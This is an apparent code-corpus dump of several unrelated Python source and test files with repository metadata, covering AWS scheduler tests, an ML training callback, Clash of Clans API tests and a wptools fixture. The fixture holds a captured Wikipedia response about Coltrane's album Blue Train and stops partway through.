import unittest from mock import patch, MagicMock from botocore.exceptions import ClientError from flotilla.cli.scheduler import start_scheduler REGIONS = ['us-east-1'] ENVIRONMENT = 'develop' DOMAIN = 'test.com' class TestScheduler(unittest.TestCase): @patch('flotilla.cli.scheduler.get_instance_id') @patch('flotilla.cli.scheduler.DynamoDbTables') @patch('flotilla.cli.scheduler.RepeatingFunc') @patch('boto.dynamodb2.connect_to_region') @patch('boto3.resource') def test_start_scheduler(self, sqs, dynamo, repeat, tables, get_instance_id): get_instance_id.return_value = 'i-123456' start_scheduler(ENVIRONMENT, DOMAIN, REGIONS, 0.1, 0.1, 0.1) self.assertEquals(4, repeat.call_count) @patch('flotilla.cli.scheduler.get_instance_id') @patch('flotilla.cli.scheduler.DynamoDbTables') @patch('flotilla.cli.scheduler.RepeatingFunc') @patch('boto.dynamodb2.connect_to_region') @patch('boto3.resource') def test_start_scheduler_multiregion(self, sqs, dynamo, repeat, tables, get_instance_id): get_instance_id.return_value = 'i-123456' start_scheduler(ENVIRONMENT, DOMAIN, ['us-east-1', 'us-west-2'], 0.1, 0.1, 0.1) self.assertEquals(8, repeat.call_count) @patch('flotilla.cli.scheduler.get_instance_id') @patch('flotilla.cli.scheduler.DynamoDbTables') @patch('flotilla.cli.scheduler.RepeatingFunc') @patch('flotilla.cli.scheduler.get_queue') @patch('boto.dynamodb2.connect_to_region') @patch('boto3.resource') def test_start_scheduler_without_messaging(self, sqs, dynamo, get_queue, repeat, tables, get_instance_id): get_queue.return_value = None start_scheduler(ENVIRONMENT, DOMAIN, REGIONS, 0.1, 0.1, 0.1) self.assertEquals(3, repeat.call_count)

36.218182

77

0.658133

232

1,992

5.461207

0.262931

0.095501

0.173639

0.197317

0.756117

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0.715864

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1,992

54

78

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0.073171

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null

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0

1

0

1

0

null

0

5

5be3e7aecb0aee54a7b66c2e2430fa5ba14e5ada

2,554

py

Python

src/yeahml/build/components/callbacks/objects/printer.py

JackBurdick/yensor

b51faff6625db5980151a4a5fac7bb49313df5c1

[ "Apache-2.0" ]

4

2019-04-21T05:19:22.000Z

2020-04-20T20:51:48.000Z

src/yeahml/build/components/callbacks/objects/printer.py

JackBurdick/YeahML

b51faff6625db5980151a4a5fac7bb49313df5c1

[ "Apache-2.0" ]

1

2020-08-24T23:23:14.000Z

2020-09-13T03:55:36.000Z

src/yeahml/build/components/callbacks/objects/printer.py

JackBurdick/YeahML

b51faff6625db5980151a4a5fac7bb49313df5c1

[ "Apache-2.0" ]

1

2020-08-07T00:41:02.000Z

from yeahml.build.components.callbacks.objects.base import TrainCallback def print_mapper(cur_func): def _print_mapper(self, *args, **kwargs): print(f"{cur_func.__name__}: {self.monitor}") return _print_mapper class Printer(TrainCallback): def __init__(self, monitor="something", relation_key=None): super(Printer, self).__init__(relation_key=relation_key) self.monitor = monitor # task @print_mapper def pre_task(self): """[summary] """ @print_mapper def post_task(self): """[summary] """ @print_mapper def pre_obtain_task(self): """[summary] """ @print_mapper def post_obtain_task(self): """[summary] """ @print_mapper # obtain_dataset def pre_obtain_dataset(self): """[summary] """ @print_mapper def post_obtain_dataset(self): """[summary] """ @print_mapper # dataset_pass def pre_dataset_pass(self): """[summary] """ @print_mapper def post_dataset_pass(self): """[summary] """ # batch @print_mapper def pre_batch(self): """[summary] """ @print_mapper def post_batch(self): """[summary] """ # obtain_data @print_mapper def pre_obtain_batch(self): """[summary] """ @print_mapper def post_obtain_batch(self): """[summary] """ # prediction @print_mapper def pre_prediction(self): """[summary] """ @print_mapper def post_prediction(self): """[summary] """ # performance @print_mapper def pre_performance(self): """[summary] """ @print_mapper def post_performance(self): """[summary] """ # loss @print_mapper def pre_loss(self): """[summary] """ @print_mapper def post_loss(self): """[summary] """ @print_mapper # metric def pre_metric(self): """[summary] """ @print_mapper def post_metric(self): """[summary] """ @print_mapper def pre_calc_gradient(self): """[summary] """ @print_mapper def post_calc_gradient(self): """[summary] """ # apply gradient @print_mapper def pre_apply_gradient(self): """[summary] """ @print_mapper def post_apply_gradient(self): """[summary] """

17.613793

72

0.53289

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2,554

5.186992

0.182927

0.232759

0.230408

0.293103

0.469436

0.4279

0.199843

0

0.331637

2,554

144

73

17.736111

0.74751

0.218089

0

0.421053

0

0.023567

0

1

0.473684

false

0.035088

0.017544

0

0.526316

0.491228

0

null

1

0

null

0

1

0

1

0

5

5be7a876f3c5105b6d3efdc5c28655fc0ede865f

84

py

Python

appendices/packaging/some_module_proj/setup.py

jashburn8020/python-testing-with-pytest

eca162766f3eb25c79778d64f993e3162c359674

[ "Apache-2.0" ]

11

2021-05-06T12:39:39.000Z

2022-03-14T11:58:44.000Z

appendices/packaging/some_module_proj/setup.py

jashburn8020/python-testing-with-pytest

eca162766f3eb25c79778d64f993e3162c359674

[ "Apache-2.0" ]

null

appendices/packaging/some_module_proj/setup.py

jashburn8020/python-testing-with-pytest

eca162766f3eb25c79778d64f993e3162c359674

[ "Apache-2.0" ]

11

2021-06-10T21:19:42.000Z

2022-02-21T04:03:06.000Z

from setuptools import setup setup(name="some_module", py_modules=["some_module"])

21

53

0.785714

12

84

5.25

0.75

0.31746

0

0.083333

84

3

54

28

0.818182

0

0.261905

0

1

0

true

0

0.5

0

0.5

0

1

0

null

1

0

1

0

null

0

1

0

1

0

5

7507a6580b66db203bf852283bb2de39d367b47f

2,323

py

Python

tests/test_api_calls.py

mindheist/coc-client

7d249211a850538cfc1b5b286dff1d83df443db7

[ "MIT" ]

10

2016-02-14T05:59:27.000Z

2019-12-08T11:54:17.000Z

tests/test_api_calls.py

mindheist/coc-client

7d249211a850538cfc1b5b286dff1d83df443db7

[ "MIT" ]

2

2018-01-15T15:41:40.000Z

2018-01-23T00:47:42.000Z

tests/test_api_calls.py

mindheist/coc-client

7d249211a850538cfc1b5b286dff1d83df443db7

[ "MIT" ]

8

2016-10-06T14:07:58.000Z

2019-01-11T19:44:20.000Z

from coc.api import ClashOfClans from os import environ import pytest @pytest.fixture def api_key(): return environ['COC_API_KEY'] slow_test = pytest.mark.skipif( not pytest.config.getoption("--runslow"), reason="need --runslow option to run" ) @slow_test @pytest.mark.api_call def test_locations_apicall(api_key): coc = ClashOfClans(bearer_token=api_key) r = coc.locations.get() assert r.status_code == 200 assert isinstance(r, list) @slow_test @pytest.mark.api_call def test_specific_locations_apicall(api_key): coc = ClashOfClans(bearer_token=api_key) r = coc.locations(32000260).get() assert r.status_code == 200 assert isinstance(r, dict) assert r['countryCode'] == u'ZW' assert r['id'] == 32000260 assert r['isCountry'] == True assert r['name'] == u'Zimbabwe' @slow_test @pytest.mark.api_call def test_location_clan_rank_apicall(api_key): coc = ClashOfClans(bearer_token=api_key) r = coc.locations(32000260).rankings.clans.get() assert r.status_code == 200 @slow_test @pytest.mark.api_call def test_location_player_rank_apicall(api_key): coc = ClashOfClans(bearer_token=api_key) r = coc.locations(32000260).rankings.clans.get() assert r.status_code == 200 @slow_test @pytest.mark.api_call def test_leagues_apicall(api_key): coc = ClashOfClans(bearer_token=api_key) r = coc.leagues.get() assert r.status_code == 200 assert isinstance(r, list) @slow_test @pytest.mark.api_call def test_clan_by_tag_apicall(api_key): coc = ClashOfClans(bearer_token=api_key) r = coc.clans('#8R9LRVGU').get() assert r.status_code == 200 assert isinstance(r, dict) @slow_test @pytest.mark.api_call def test_clan_members_by_tag_apicall(api_key): coc = ClashOfClans(bearer_token=api_key) r = coc.clans('#8R9LRVGU').members.get() assert r.status_code == 200 assert isinstance(r, list) @slow_test @pytest.mark.api_call def test_clan_search_apicall(api_key): coc = ClashOfClans(bearer_token=api_key) r = coc.clans(minMembers=10).get() assert r.status_code == 200 assert isinstance(r, list) coc = ClashOfClans(bearer_token=api_key) r = coc.clans(minMembers=10, warFrequency='always').get() assert r.status_code == 200 assert isinstance(r, list)

27.654762

61

0.716315

341

2,323

4.639296

0.190616

0.072061

0.079646

0.102402

0.788875

0.768647

0.71555

0

0.03459

0.166164

2,323

84

62

27.654762

0.782137

0

0.597222

0

0.046472

0

0.277778

1

0.125

false

0

0.041667

0.013889

0.180556

0

null

0

1

0

null

0

5

7508d691984e7e548e24d4c98d154e16ac09c939

212

py

Python

tests/test___init__.py

ikonst/pytest-mypy-testing

fa23aa769a5f11afebcec23af43aa6b5e32a3b11

[ "Apache-2.0", "MIT" ]

17

2020-01-15T12:14:25.000Z

2022-01-21T10:16:55.000Z

tests/test___init__.py

ikonst/pytest-mypy-testing

fa23aa769a5f11afebcec23af43aa6b5e32a3b11

[ "Apache-2.0", "MIT" ]

10

2020-01-15T12:21:04.000Z

2021-12-25T18:19:09.000Z

tests/test___init__.py

ikonst/pytest-mypy-testing

fa23aa769a5f11afebcec23af43aa6b5e32a3b11

[ "Apache-2.0", "MIT" ]

3

2020-04-10T08:49:39.000Z

2021-08-15T01:54:16.000Z

# SPDX-FileCopyrightText: David Fritzsche # SPDX-License-Identifier: CC0-1.0 import re from pytest_mypy_testing import __version__ def test_version(): assert re.match("^[0-9]*([.][0-9]*)*$", __version__)

19.272727

56

0.716981

29

212

4.862069

0.724138

0.028369

0

0.037634

0.122642

212

10

57

21.2

0.72043

0.339623

0

0.145985

0

0.25

1

0.25

true

0

0.5

0

0.75

0

1

0

null

0

null

0

1

0

1

0

1

0

5

752b31bd8d886628893665de61a27a8654c3bbbd

79,991

py

Python

tests/parse_infobox.py

matthewgehring/wptools

788cdc2078696dacb14652d5f2ad098a585e4763

[ "MIT" ]

482

2015-04-13T23:43:42.000Z

2022-03-31T14:44:50.000Z

tests/parse_infobox.py

matthewgehring/wptools

788cdc2078696dacb14652d5f2ad098a585e4763

[ "MIT" ]

168

2016-01-06T14:30:05.000Z

2022-02-17T22:14:36.000Z

tests/parse_infobox.py

matthewgehring/wptools

788cdc2078696dacb14652d5f2ad098a585e4763

[ "MIT" ]

80

2015-05-03T18:10:58.000Z

2022-02-17T22:54:25.000Z

# -*- coding:utf-8 -*- query = 'https://en.wikipedia.org/w/api.php?action=parse&formatversion=2&contentmodel=text&disableeditsection=&disablelimitreport=&disabletoc=&prop=text|iwlinks|parsetree|wikitext|displaytitle|properties&redirects&page=Blue%20Train%20%28album%29' response = r""" { "parse": { "title": "Blue Train (album)", "pageid": 1315380, "redirects": [], "text": "<div class=\"mw-parser-output\"><table class=\"infobox vevent haudio\" style=\"width:22em\">\n<tr>\n<th colspan=\"2\" class=\"summary album\" style=\"text-align:center;font-size:125%;font-weight:bold;font-style: italic; background-color: lightsteelblue\">Blue Train</th>\n</tr>\n<tr>\n<td colspan=\"2\" style=\"text-align:center\"><a href=\"/wiki/File:John_Coltrane_-_Blue_Train.jpg\" class=\"image\" title=\"Coltrane leans back with a reed in his mouth in a deep blue-on-black photo. The words "BLUE TRAIN" are written above his head in white followed by "john coltrane" in orange.\"><img alt=\"Coltrane leans back with a reed in his mouth in a deep blue-on-black photo. The words "BLUE TRAIN" are written above his head in white followed by "john coltrane" in orange.\" src=\"//upload.wikimedia.org/wikipedia/en/thumb/6/68/John_Coltrane_-_Blue_Train.jpg/220px-John_Coltrane_-_Blue_Train.jpg\" width=\"220\" height=\"220\" srcset=\"//upload.wikimedia.org/wikipedia/en/6/68/John_Coltrane_-_Blue_Train.jpg 1.5x\" data-file-width=\"300\" data-file-height=\"300\" /></a></td>\n</tr>\n<tr>\n<th colspan=\"2\" class=\"description\" style=\"text-align:center;background-color: lightsteelblue\"><a href=\"/wiki/Album\" title=\"Album\">Studio album</a> by <span class=\"contributor\"><a href=\"/wiki/John_Coltrane\" title=\"John Coltrane\">John Coltrane</a></span></th>\n</tr>\n<tr>\n<th scope=\"row\">Released</th>\n<td class=\"published\">1958</td>\n</tr>\n<tr>\n<th scope=\"row\">Recorded</th>\n<td class=\"plainlist\">September 15, 1957</td>\n</tr>\n<tr>\n<th scope=\"row\">Studio</th>\n<td class=\"plainlist\"><a href=\"/wiki/Van_Gelder_Studio\" title=\"Van Gelder Studio\">Van Gelder Studio</a>, <a href=\"/wiki/Hackensack,_New_Jersey\" title=\"Hackensack, New Jersey\">Hackensack</a></td>\n</tr>\n<tr>\n<th scope=\"row\"><a href=\"/wiki/Music_genre\" title=\"Music genre\">Genre</a></th>\n<td class=\"category hlist\"><a href=\"/wiki/Hard_bop\" title=\"Hard bop\">Hard bop</a><sup id=\"cite_ref-FOOTNOTECook2004103_1-0\" class=\"reference\"><a href=\"#cite_note-FOOTNOTECook2004103-1\">[1]</a></sup></td>\n</tr>\n<tr>\n<th scope=\"row\">Length</th>\n<td><span class=\"duration\"><span class=\"min\">42</span>:<span class=\"s\">50</span></span></td>\n</tr>\n<tr>\n<th scope=\"row\"><a href=\"/wiki/Record_label\" title=\"Record label\">Label</a></th>\n<td class=\"hlist\"><a href=\"/wiki/Blue_Note_Records\" title=\"Blue Note Records\">Blue Note</a><br />\n<span style=\"font-size:85%;\">BLP 1577</span></td>\n</tr>\n<tr>\n<th scope=\"row\"><a href=\"/wiki/Record_producer\" title=\"Record producer\">Producer</a></th>\n<td class=\"hlist\"><a href=\"/wiki/Alfred_Lion\" title=\"Alfred Lion\">Alfred Lion</a></td>\n</tr>\n<tr>\n<th colspan=\"2\" class=\"description\" style=\"text-align:center;background-color: lightsteelblue\"><a href=\"/wiki/John_Coltrane\" title=\"John Coltrane\">John Coltrane</a> chronology</th>\n</tr>\n<tr>\n<td colspan=\"2\" style=\"text-align:center\">\n<table style=\"background: transparent; width: 100%; min-width: 100%; border-collapse: collapse\">\n<tr style=\"line-height: 1.4em;\">\n<td style=\"width: 33%; text-align: center; vertical-align: top; padding: .2em .1em .2em 0\"><i><a href=\"/wiki/Coltrane_(1957_album)\" title=\"Coltrane (1957 album)\">Coltrane</a></i><br />\n(1957)</td>\n<td style=\"width: 33%; text-align: center; vertical-align: top; padding: .2em .1em\"><i><b>Blue Train</b></i><br />\n(1958)</td>\n<td style=\"width: 33%; text-align: center; vertical-align: top; padding: .2em 0 .2em .1em\"><i><a href=\"/wiki/John_Coltrane_with_the_Red_Garland_Trio\" title=\"John Coltrane with the Red Garland Trio\">John Coltrane with the Red Garland Trio</a></i><br />\n(1958)</td>\n</tr>\n</table>\n</td>\n</tr>\n</table>\n<table class=\"wikitable floatright\" style=\"float:right;clear:right;width:24.2em;font-size:80%;text-align:center;margin:0.5em 0 0.5em 1em;padding:0;border-spacing:0\">\n<tr>\n<th scope=\"col\" colspan=\"2\" style=\"font-size:120%\">Professional ratings</th>\n</tr>\n<tr>\n<th scope=\"col\" colspan=\"2\" style=\"text-align:center;background:#d1dbdf;font-size:120%\">Review scores</th>\n</tr>\n<tr>\n<th scope=\"col\">Source</th>\n<th scope=\"col\">Rating</th>\n</tr>\n<tr>\n<td style=\"text-align:center;vertical-align:middle\"><a href=\"/wiki/AllMusic\" title=\"AllMusic\">AllMusic</a></td>\n<td style=\"text-align:center;vertical-align:middle\"><span style=\"white-space:nowrap\" title=\"5/5 stars\"><img alt=\"5/5 stars\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" title=\"5/5 stars\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /></span><sup id=\"cite_ref-2\" class=\"reference\"><a href=\"#cite_note-2\">[2]</a></sup></td>\n</tr>\n<tr>\n<td style=\"text-align:center;vertical-align:middle\"><i><a href=\"/wiki/The_Penguin_Guide_to_Jazz\" title=\"The Penguin Guide to Jazz\">The Penguin Guide to Jazz</a></i></td>\n<td style=\"text-align:center;vertical-align:middle\"><span style=\"white-space:nowrap\" title=\"4/4 stars\"><img alt=\"4/4 stars\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" title=\"4/4 stars\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /></span><sup id=\"cite_ref-Penguin_3-0\" class=\"reference\"><a href=\"#cite_note-Penguin-3\">[3]</a></sup></td>\n</tr>\n<tr>\n<td style=\"text-align:center;vertical-align:middle\"><i><a href=\"/wiki/The_Rolling_Stone_Jazz_Record_Guide\" class=\"mw-redirect\" title=\"The Rolling Stone Jazz Record Guide\">The Rolling Stone Jazz Record Guide</a></i></td>\n<td style=\"text-align:center;vertical-align:middle\"><span style=\"white-space:nowrap\" title=\"5/5 stars\"><img alt=\"5/5 stars\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" title=\"5/5 stars\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/11px-Star_full.svg.png\" width=\"11\" height=\"11\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/17px-Star_full.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/51/Star_full.svg/22px-Star_full.svg.png 2x\" data-file-width=\"108\" data-file-height=\"110\" /></span><sup id=\"cite_ref-RSJRG_4-0\" class=\"reference\"><a href=\"#cite_note-RSJRG-4\">[4]</a></sup></td>\n</tr>\n</table>\n<p><i><b>Blue Train</b></i> is a studio album by <a href=\"/wiki/John_Coltrane\" title=\"John Coltrane\">John Coltrane</a>, released in 1958 on <a href=\"/wiki/Blue_Note_Records\" title=\"Blue Note Records\">Blue Note Records</a>, catalogue BLP 1577. Recorded at the <a href=\"/wiki/Van_Gelder_Studio\" title=\"Van Gelder Studio\">Van Gelder Studio</a> in <a href=\"/wiki/Hackensack,_New_Jersey\" title=\"Hackensack, New Jersey\">Hackensack, New Jersey</a>, it is the only Blue Note recording by Coltrane as the leader on the session. It has been certified a <a href=\"/wiki/Music_recording_sales_certification\" class=\"mw-redirect\" title=\"Music recording sales certification\">gold record</a> by the <a href=\"/wiki/RIAA\" class=\"mw-redirect\" title=\"RIAA\">RIAA</a>.<sup id=\"cite_ref-5\" class=\"reference\"><a href=\"#cite_note-5\">[5]</a></sup></p>\n<p></p>\n<h2><span class=\"mw-headline\" id=\"Background\">Background</span></h2>\n<p>The album was recorded in the midst of Coltrane's residency at the <a href=\"/wiki/Five_Spot\" class=\"mw-redirect\" title=\"Five Spot\">Five Spot</a> as a member of the <a href=\"/wiki/Thelonious_Monk\" title=\"Thelonious Monk\">Thelonious Monk</a> quartet. The personnel include Coltrane's <a href=\"/wiki/Miles_Davis\" title=\"Miles Davis\">Miles Davis</a> bandmates, <a href=\"/wiki/Paul_Chambers\" title=\"Paul Chambers\">Paul Chambers</a> on bass and <a href=\"/wiki/Philly_Joe_Jones\" title=\"Philly Joe Jones\">Philly Joe Jones</a> on drums, both of whom had worked before with pianist <a href=\"/wiki/Kenny_Drew\" title=\"Kenny Drew\">Kenny Drew</a>. Both trumpeter <a href=\"/wiki/Lee_Morgan\" title=\"Lee Morgan\">Lee Morgan</a> and trombonist <a href=\"/wiki/Curtis_Fuller\" title=\"Curtis Fuller\">Curtis Fuller</a> were up-and-coming jazz musicians, and both would be members of <a href=\"/wiki/Art_Blakey\" title=\"Art Blakey\">Art Blakey</a>'s Jazz Messengers, working together on several of Blakey's albums.</p>\n<p>All of the compositions were written by Coltrane, with the exception of the <a href=\"/wiki/Pop_standard\" class=\"mw-redirect\" title=\"Pop standard\">standard</a> \"<a href=\"/wiki/I%27m_Old_Fashioned\" title=\"I'm Old Fashioned\">I'm Old Fashioned</a>\". The <a href=\"/wiki/Blue_Train_(composition)\" title=\"Blue Train (composition)\">title track</a> is a long, rhythmically variegated <a href=\"/wiki/Blues\" title=\"Blues\">blues</a> with a sentimental [quasi minor; in fact based on major chords with flat tenth, or raised ninth] theme that gradually shows the <a href=\"/wiki/Major_key\" class=\"mw-redirect\" title=\"Major key\">major</a> key during Coltrane's first chorus. \"Locomotion\" is also a blues riff tune, in forty-four-bar form.<sup id=\"cite_ref-6\" class=\"reference\"><a href=\"#cite_note-6\">[6]</a></sup> During a 1960 interview, Coltrane described <i>Blue Train</i> as his favorite album of his own up to that point.<sup id=\"cite_ref-FOOTNOTEPorter1999157_7-0\" class=\"reference\"><a href=\"#cite_note-FOOTNOTEPorter1999157-7\">[7]</a></sup></p>\n<h2><span class=\"mw-headline\" id=\"Legacy\">Legacy</span></h2>\n<p>John Coltrane's next major album, <i><a href=\"/wiki/Giant_Steps\" title=\"Giant Steps\">Giant Steps</a></i>, recorded in 1959, would break new melodic and harmonic ground in jazz, whereas <i>Blue Train</i> adheres to the <a href=\"/wiki/Hard_bop\" title=\"Hard bop\">hard bop</a> style of the era. Musicologist Lewis Porter has also demonstrated a harmonic relationship between Coltrane's \"Lazy Bird\" and <a href=\"/wiki/Tadd_Dameron\" title=\"Tadd Dameron\">Tadd Dameron</a>'s \"<a href=\"/wiki/Lady_Bird_(composition)\" title=\"Lady Bird (composition)\">Lady Bird</a>\".<sup id=\"cite_ref-FOOTNOTEPorter1999128-131_8-0\" class=\"reference\"><a href=\"#cite_note-FOOTNOTEPorter1999128-131-8\">[8]</a></sup></p>\n<p>In 1997, <i>The Ultimate Blue Train</i> was released, adding two alternate takes and <a href=\"/wiki/Enhanced_CD\" title=\"Enhanced CD\">enhanced content</a>, and in 1999 a <a href=\"/wiki/DVD-Audio\" title=\"DVD-Audio\">24bit 192 kHz DVD-Audio</a> version was issued. In 2003, both a <a href=\"/wiki/Super_Audio_Compact_Disc\" class=\"mw-redirect\" title=\"Super Audio Compact Disc\">Super Audio Compact Disc</a> version was released, as well as a <a href=\"/wiki/Audio_mastering\" title=\"Audio mastering\">remastered</a> compact disc as part of Blue Note's <a href=\"/wiki/Rudy_Van_Gelder\" title=\"Rudy Van Gelder\">Rudy Van Gelder</a> series.</p>\n<p>In 2015, Blue Note/Universal released a <a href=\"/wiki/Blu-Ray_Audio\" class=\"mw-redirect\" title=\"Blu-Ray Audio\">Blu-Ray Audio</a> edition of the album with four bonus tracks, one of which is a previously unreleased take of \"Lazy Bird\".</p>\n<h2><span class=\"mw-headline\" id=\"Track_listing\">Track listing</span></h2>\n<h3><span class=\"mw-headline\" id=\"Side_one\">Side one</span></h3>\n<table class=\"tracklist\" style=\"display:block;border-spacing:0px;border-collapse:collapse;padding:4px\">\n<tr>\n<th class=\"tlheader\" scope=\"col\" style=\"width:2em;padding-left:10px;padding-right:10px;text-align:right;background-color:#eee\"><abbr title=\"Number\">No.</abbr></th>\n<th class=\"tlheader\" scope=\"col\" style=\"width:60%;text-align:left;background-color:#eee\">Title</th>\n<th class=\"tlheader\" scope=\"col\" style=\"width:40%;text-align:left;background-color:#eee\">Writer(s)</th>\n<th class=\"tlheader\" scope=\"col\" style=\"width:4em;padding-right:10px;text-align:right;background-color:#eee\">Length</th>\n</tr>\n<tr style=\"background-color:#fff\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">1.</td>\n<td style=\"vertical-align:top\">\"<a href=\"/wiki/Blue_Train_(composition)\" title=\"Blue Train (composition)\">Blue Train</a>\"</td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">10:43</td>\n</tr>\n<tr style=\"background-color:#f7f7f7\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">2.</td>\n<td style=\"vertical-align:top\">\"<a href=\"/wiki/Moment%27s_Notice\" title=\"Moment's Notice\">Moment's Notice</a>\"</td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">9:10</td>\n</tr>\n</table>\n<h3><span class=\"mw-headline\" id=\"Side_two\">Side two</span></h3>\n<table class=\"tracklist\" style=\"display:block;border-spacing:0px;border-collapse:collapse;padding:4px\">\n<tr>\n<th class=\"tlheader\" scope=\"col\" style=\"width:2em;padding-left:10px;padding-right:10px;text-align:right;background-color:#eee\"><abbr title=\"Number\">No.</abbr></th>\n<th class=\"tlheader\" scope=\"col\" style=\"width:60%;text-align:left;background-color:#eee\">Title</th>\n<th class=\"tlheader\" scope=\"col\" style=\"width:40%;text-align:left;background-color:#eee\">Writer(s)</th>\n<th class=\"tlheader\" scope=\"col\" style=\"width:4em;padding-right:10px;text-align:right;background-color:#eee\">Length</th>\n</tr>\n<tr style=\"background-color:#fff\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">1.</td>\n<td style=\"vertical-align:top\">\"Locomotion\"</td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">7:14</td>\n</tr>\n<tr style=\"background-color:#f7f7f7\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">2.</td>\n<td style=\"vertical-align:top\">\"<a href=\"/wiki/I%27m_Old_Fashioned\" title=\"I'm Old Fashioned\">I'm Old Fashioned</a>\"</td>\n<td style=\"vertical-align:top\"><a href=\"/wiki/Johnny_Mercer\" title=\"Johnny Mercer\">Johnny 